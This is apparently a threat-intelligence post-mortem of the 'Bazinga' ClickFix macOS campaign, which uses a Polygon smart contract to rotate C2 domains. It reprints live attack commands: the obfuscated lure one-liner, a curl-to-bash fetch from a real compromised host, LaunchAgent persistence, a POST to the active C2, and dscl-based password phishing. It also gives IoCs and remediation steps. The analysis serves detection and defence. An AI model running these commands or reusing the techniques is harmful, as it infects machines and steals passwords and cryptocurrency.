Inside a ClickFix Attack: How Threat Actors Use the Polygon Blockchain as an Indestructible C2 Resolver for macOS Malware
The "Bazinga" macOS Campaign
A deep-dive technical post-mortem into a multi-stage macOS attack chain combining social engineering, LaunchAgent persistence, real-time credential verification, and on-chain "EtherHiding".
⚠️ CRITICAL WARNING — DO NOT COPY OR EXECUTE ⚠️
THE CODE SNIPPETS DISPLAYED IN THIS ARTICLE ARE LIVE SAMPLES OF ACTIVE MALWARE. DO NOT PASTE OR RUN ANY PORTION OF THESE COMMANDS IN YOUR TERMINAL OR ON ANY PRODUCTION MACHINE. THEY ARE PROVIDED SOLELY FOR SECURITY RESEARCH, THREAT INTELLIGENCE, AND EDUCATIONAL PURPOSES.
Introduction: The "Prove You Are Human" Trap
"ClickFix" has emerged as one of the most prolific initial-access vectors targeting developers, crypto users, and IT professionals.
Instead of relying on zero-day browser exploits or suspicious .dmg file downloads that trigger Gatekeeper warnings, attackers leverage human psychology. When visiting a compromised website, victims are greeted by a realistic modal mimicking Cloudflare, Google reCAPTCHA, or Discord verification:
"Verification failed. Press
Ctrl + C(orCmd + C) and paste into your Terminal to verify your browser."
Under the hood, the victim’s clipboard is populated with an obfuscated shell command.
Below is the exact payload intercepted in this investigation:
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly90dWVyLjExdGhzdGVwbWVkaXRhdGlvbi5jb20vdXBkYXRlLnNoJyB8IGJhc2g=" | base64 -d)
To an untrained eye, it looks like a routine base64 string. However, decoding and unwrapping this string unravels a four-stage, persistent infection chain terminating in credential theft, an interactive reverse shell, and cryptocurrency theft—all orchestrated using the Polygon blockchain as an uncensorable Command-and-Control (C2) resolver.
flowchart TD
accTitle: The Bazinga attack chain
accDescr: The multi-stage infection flow described in the article, from the fake CAPTCHA lure through blockchain-based C2 resolution to the final payload tasks.
Lure["Compromised website shows<br/>fake CAPTCHA / verification modal"] -->|Victim pastes command| OneLiner["Obfuscated base64 one-liner"]
OneLiner -->|Decodes and pipes to bash| Dropper["update.sh from compromised<br/>WordPress site"]
Dropper -->|Drops user-space payload| LA["LaunchAgent<br/>com.ntpebadwvugmokrc.plist<br/>(RunAtLoad + KeepAlive)"]
LA -->|Runs osascript payload| EH["EtherHiding resolver"]
EH -->|eth_call 0x2686ecea<br/>getServerUrl| SC["Polygon smart contract<br/>0xA3a603F8...5C2A0"]
SC -->|ABI-encoded hex,<br/>decoded via xxd| C2["Active C2 domain<br/>namanami.top"]
C2 -->|~33 KB AppleScript payload| FP["Final payload"]
FP --> T1["Password phishing<br/>(dscl authonly loop)"]
FP --> T2["TCC reset via tccutil"]
FP --> T3["Stealer, clipboard hijacker,<br/>reverse shell (60s loop)"]
Phase 1: Decoding the Staged Dropper
The initial one-liner uses standard bash process substitution to decode a base64 string and feed it back into an active shell:
curl -s 'https://tuer.11thstepmeditation.com/update.sh' | bash
The script fetches a secondary shell script (update.sh) hosted on an insecure WordPress instance (11thstepmeditation.com) and immediately pipes it into bash.
Phase 2: macOS Persistence via LaunchAgent
When update.sh runs, it avoids touching standard system directories to stay under the radar of root-level endpoint detection. Instead, it targets user space:
SCRIPT_PATH="$HOME/Library/ntpebadwvugmokrc"
mkdir -p "$HOME/Library/LaunchAgents"
cat > "$HOME/Library/LaunchAgents/com.ntpebadwvugmokrc.plist" <<END_PLIST
...
END_PLIST
launchctl unload ~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist 2>/dev/null
launchctl load ~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist
Why this matters:
- Reboot Survival: The
LaunchAgentis registered with bothRunAtLoadandKeepAliveset totrue. Every time the user logs into their Mac, the payload silently re-executes. - Obfuscated Core: Embedded directly inside the
.plistfile is a second, multi-kilobyte base64 payload passed into macOS's nativeosascriptengine.
Phase 3: "EtherHiding" — Turning Polygon into an Immutable C2 Registry
When decomposing the AppleScript inside the LaunchAgent, we discover an evasion technique known as EtherHiding (or Blockchain Dead Drop Resolvers).
Traditional malware hardcodes IP addresses or domains. Security vendors and hosting providers sinkhole these domains within hours. To bypass takedowns, the attackers turned to the Polygon (MATIC) blockchain:
set __Z3jAIKl to {
"polygon.drpc.org",
"polygon.publicnode.com",
"polygon-mainnet.gateway.tatum.io",
"tenderly.rpc.polygon.community"
}
set __o9vByUS6 to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
repeat with rpc in __Z3jAIKl
-- Queries the smart contract and decodes the return hex via xxd
end repeat
The Mechanism:
- The script reaches out to public Polygon RPC gateways (
polygon.drpc.org,polygon.publicnode.com). Because these are benign, legitimate Web3 services, firewall and endpoint monitors rarely flag them. - It executes a read-only query (
eth_call) against contract0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0with the method selector0x2686ecea(getServerUrl()). - The contract returns ABI-encoded hex data. The script un-hexes the output (
xxd -r -p) to obtain the active C2 domain. - Current Active Domain: At the time of this analysis, the contract resolved to:
namanami.top - No On-Chain Footprint: Calling
eth_callrequires no crypto wallet, zero gas fees, and leaves no blockchain record on behalf of the victim.
Phase 4: Threat Actor Profile & Forensic Smart Contract Audit
While the blockchain grants the attacker censorship resistance, immutability is a double-edged sword: every action the attacker took to update their infrastructure is permanently inscribed into the public ledger.
Contract Identity:
- Contract Address:
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 - Deployer / Operator Address:
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3 - Creation Tx:
0x199fc38fbbec9fabbddb6f42effe668407a93fa58af617340aea3ed3ef884a2d
The Contract Interface:
0x2686ecea(getServerUrl()): Public getter used by infected endpoints.0xd75d1ba6(setServerUrl(string)): Authenticated setter restricted to the owner wallet (0x363AeAF1...).
The Complete Historical Audit Trail: 140+ Days of C2 Rotations
By querying archive node data and scraping the transaction parameters of every call made to setServerUrl, we uncovered the complete operational history of this threat actor's infrastructure across 25 on-chain transactions:
| # | Timeline | Transaction Link | Target Domain | Threat Actor Activity / Notes |
|---|---|---|---|---|
| 1 | ~141 days ago | 0xce345d4a... |
facebook.com |
Initial Smoke Test: Tested state update with a benign domain. |
| 2 | ~125 days ago | 0x290acb5f... |
https://vk.com/ |
Second smoke test. |
| 3 | ~125 days ago | 0x730bd145... |
xuiaxwx.com |
First active production domain. |
| 4 | ~118 days ago | 0xe156cc11... |
example.com |
Maintenance / staging placeholder. |
| 5 | ~116 days ago | 0x733508d2... |
gesck4m.pro |
Campaign rollout. |
| 6 | ~109 days ago | 0x0a510551... |
sj98xe4.xyz |
Rotation #1 |
| 7 | ~107 days ago | 0x6419d13f... |
smdh7.surf |
Rotation #2 |
| 8 | ~107 days ago | 0x5986d6dd... |
citcix6.xyz |
Rotation #3 |
| 9 | ~105 days ago | 0x8af61052... |
hf98x4d.site |
Rotation #4 |
| 10 | ~89 days ago | 0xe539e281... |
sj98xe4.xyz |
Failback to .xyz. |
| 11 | ~84 days ago | 0x392a8af6... |
bduwih8.pro |
Rotation #5 |
| 12 | ~82 days ago | 0xd3e03fc3... |
apdhlhs3.xyz |
Rotation #6 |
| 13 | ~82 days ago | 0xd8b60a8b... |
johncon.my |
Rotation #7 |
| 14 | ~82 days ago | 0xc862d1a8... |
johncon.my |
Re-confirmed setting. |
| 15 | ~81 days ago | 0x59cb424d... |
apdhlhs3.xyz |
Failback. |
| 16 | ~72 days ago | 0x8f1cf910... |
j9af4sr.guru |
Rotation #8 |
| 17 | ~64 days ago | 0xedbd6146... |
okekjaiw.click |
Rotation #9 |
| 18 | ~63 days ago | 0xad5c0f33... |
8jdjpwka.baby |
Rotation #10 |
| 19 | ~62 days ago | 0xc10bf950... |
fbuytf67.click |
Rotation #11 |
| 20 | ~61 days ago | 0xc7da6917... |
67sixcebeh.surf |
Rotation #12 |
| 21 | ~50 days ago | 0xdb7f9f9a... |
stv4ec5.shop |
Rotation #13 |
| 22 | ~39 days ago | 0x8d3906c8... |
vg5sgxv.lol |
Rotation #14 |
| 23 | ~19 days ago | 0xfa17ba4b... |
machine628.baby |
Rotation #15 (Featured in multiple vendor intel feeds) |
| 24 | ~13 days ago | 0xc538f82c... |
d9mjs.sbs |
Rotation #16 |
| 25 | ~2 days ago | 0xddc33dab... |
namanami.top |
Active Live C2 Domain |
Whenever an abuse department or threat intel community blocks or sinkholes a domain, the operator executes a single transaction costing pennies in gas, updating the address on Polygon. Within 60 seconds, every active victim re-anchors to the new domain.
Phase 5: The Final Payload — What Happens When Connected?
Once the malware resolves namanami.top, it submits a POST request providing campaign tracking data:
curl -X POST https://namanami.top -d 'txid=e403efec56aa48f19dafce33977ef541&bmodule'
The server returns a ~33 KB de-obfuscated AppleScript payload that executes locally.
1. Hardware Fingerprinting
It harvests the Mac’s hardware UUID and serial number via ioreg:
ioreg -rd1 -c IOPlatformExpertDevice | grep IOPlatformUUID
2. Live Password Phishing & Verification
It creates a native dialog box claiming:
"To run the application you need to change the settings for its operation. Please enter password for continue:" (Title: System Preferences)
Crucially, it verifies the entered password against the local directory database using macOS’s Directory Service command-line tool:
dscl . authonly <current_username> <entered_password>
If incorrect, the prompt loops until the user enters their real password. Once confirmed, it writes the cleartext password to ~/.passphrase and uploads it to the C2.
3. TCC Permission Resetting
It executes:
tccutil reset All
This wipes the macOS Transparency, Consent, and Control (TCC) user choices, triggering fresh permission dialogues that trick the user into granting screen recording, accessibility, and disk access to the malware.
4. Modular Backdoor Execution Loop
Every 60 seconds, the agent contacts the C2 server waiting for secondary tasking:
runloader/runlight: Deploys an information stealer targeting Keychain data, Chrome/Brave/Safari session cookies, Discord tokens, and crypto browser extensions (MetaMask, Phantom, Coinbase Wallet).replacer(&ledger): Installs a clipboard hijacker targeting cryptocurrency addresses, specifically intercepting interactions with hardware devices like Ledger.openshell(&shell): Initiates a background, interactive reverse shell directly to the attacker's server.
How to Check If Your Machine is Compromised
If you or a colleague encountered a ClickFix prompt and pasted the command, check for the presence of these indicators:
# 1. Check for persistence LaunchAgent
ls -la ~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist
# 2. Check for dropped credential/tracking files
ls -la ~/.passphrase ~/.txid ~/Library/ntpebadwvugmokrc
# 3. Check loaded services
launchctl list | grep ntpebad
Remediation Steps:
- Unload & Remove Persistence:
launchctl unload ~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist 2>/dev/null rm -f ~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist rm -f ~/Library/ntpebadwvugmokrc ~/.passphrase ~/.txid - Rotate Passwords Immediately: Since
dsclverification exports the cleartext password to~/.passphrase, change your macOS user account password, Apple ID, and any master passwords for password managers stored on the device. - Revoke Active Sessions & Wallets: Rotate browser cookies, GitHub/GitLab SSH keys, and move any funds stored in hot browser extension wallets to a cold wallet generated on an uncompromised device.
Technical Indicators of Compromise (IoCs)
Blockchain Artifacts
- Smart Contract:
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 - Contract Deployer:
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3 - Getter Method Selector:
0x2686ecea(getServerUrl) - Setter Method Selector:
0xd75d1ba6(setServerUrl)
Host File Paths
~/Library/LaunchAgents/com.ntpebadwvugmokrc.plist~/Library/ntpebadwvugmokrc~/.passphrase~/.txid
Network & Infrastructure Indicators
- Initial Dropper:
https://tuer.11thstepmeditation.com/update.sh - Current Active C2:
https://namanami.top - Recent Historical C2s:
d9mjs.sbs,machine628.baby,vg5sgxv.lol,stv4ec5.shop,67sixcebeh.surf,fbuytf67.click,8jdjpwka.baby,okekjaiw.click,j9af4sr.guru,apdhlhs3.xyz,johncon.my,bduwih8.pro,sj98xe4.xyz,hf98x4d.site,citcix6.xyz,smdh7.surf,gesck4m.pro
Operator Profile Identity
- Address:
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3 - Threat Campaign Codename: "Bazinga" (tracked across threat intelligence firms including Prophet Security, Beelzebub, and PhishDestroy)
- Primary Lures: Fake verification portals (e.g.,
bazinga.biz, Cloudflare-style fake CAPTCHA "ClickFix" screens) - Role: Dedicated on-chain C2 Operator / Infrastructure Controller
1. Multi-Chain Footprint: Single-Chain Specialization
When cross-referencing this profile across EVM networks using native archive nodes:
| Blockchain | Transaction Count (Nonce) | Balance | Activity Status |
|---|---|---|---|
| Polygon (MATIC) | 30 transactions | 29.41 POL (~$8–$10) | Active Operator Wallet |
| Ethereum Mainnet | 0 transactions | 0.00 ETH | Inactive / Never used |
| Arbitrum One | 0 transactions | 0.00 ETH | Inactive / Never used |
| Base | 0 transactions | 0.00 ETH | Inactive / Never used |
| Optimism | 0 transactions | 0.00 ETH | Inactive / Never used |
Analysis: This is a single-purpose burner profile. The operator does not trade, interact with DeFi, hold NFTs, or bridge across chains. The wallet was generated solely to manage this malware campaign on Polygon, taking advantage of Polygon's sub-cent gas fees to keep infrastructure costs negligible.
2. Forensic Breakdown of All 30 Lifetime Transactions
The wallet has executed exactly 30 transactions on Polygon, and their breakdown shows its single-minded purpose:
Total Transactions: 30
├── Nonce 0: Contract Creation (0xA3a603F8...5C2A0) [C2 Resolver Deployment]
├── Nonces 1–22, 25–26: Direct `setServerUrl` calls [24 manual domain rotations]
└── Nonces 23–24: `redeemDelegations` calls [2 domain rotations via MetaMask Account Abstraction]
Nonce 0 (Genesis Transaction)
- Transaction Hash:
0x199fc38fbbec9fabbddb6f42effe668407a93fa58af617340aea3ed3ef884a2d - Block:
86268059 - Action: The wallet’s very first outgoing transaction deployed the C2 resolver contract
0xA3a603F8.... It had no prior history or test transactions.
3. The Delegation Mechanism: Experimenting with Account Abstraction
Transactions #23 and #24 on this profile revealed a shift in the operator's tactics:
- Tx 1:
0x67ab184078f9...(14 days ago) - Tx 2:
0xcee1d9c9aa82...(9 days ago)
Instead of calling setServerUrl directly, the operator invoked the MetaMask Delegation Framework:
- Contract Called:
0xdb9B1e94B5b69Df7e401DDbedE43491141047dB3(DelegationManager) - Enforcer Contract:
0xbd7b277507723490cd50b12eaafe87c616be6880(NativeBalanceChangeEnforcer)
What this delegation does:
By decoding the 2,442-byte ABI payload, we can extract the inner calldata:
Target Contract: 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0
Method: 0xd75d1ba6 (setServerUrl)
Domain Injected: jse8x92s.me (and nsi8kw1r...)
Delegator: 0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3
Delegate: 0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3 (Self-signed delegation)
Why the attacker used this: The threat actor was testing ERC-4337 / ERC-7710 smart account delegation. This allows an external relayer or gas-sponsor to broadcast the transaction on behalf of the attacker without the operator needing to spend gas from their own address. However, in both instances, the operator ended up self-relaying the transaction anyway, indicating an experimental or partially integrated automated C2 updater script.
4. Current State and Reserves
- Remaining Gas Reserve: 29.412 POL
- Burn Rate: Average gas cost per
setServerUrlcall on Polygon is ~0.005–0.015 POL. - Operational Longevity: At this burn rate, the operator has enough pre-funded balance in this single wallet to execute another ~2,000 to 5,000 domain rotations before needing to deposit fresh funds.
Summary Profile Card
Threat Profile:
Entity: "Bazinga" macOS Campaign Operator
Wallet: 0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3
Primary Network: Polygon PoS
Role: C2 Dead Drop Deployer & Resolver Controller
Total Transactions: 30
Active C2 Contract Controlled: 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Protocols Touched:
- Custom C2 Resolver
- MetaMask Delegation Framework (ERC-4337 / ERC-7710)
Operational Objective: Evade DNS sinkholing by rotating the malicious macOS backdoor across disposable domains (.top, .click, .baby, .shop, .surf, .me)
The OpSec Paradox: How an Immutable Blockchain Trace Leads Straight to Binance KYC
- While threat actors believe using decentralized smart contracts makes their C2 infrastructure untouchable, they frequently trip over the fundamental economics of the blockchain: every state change requires gas.
- By following the transaction lineage of deployer wallet
0x363AeAF1..., the funding trail leads directly back to a withdrawal from Binance: Hot Wallet 68 (0x290275e3db66394C52272398959845170E4DCb88). - Because centralized exchanges enforce rigorous KYC protocols, the attacker inadvertently tied their 'bulletproof' decentralized infrastructure to a verified exchange account—creating a clear subpoena target for law enforcement.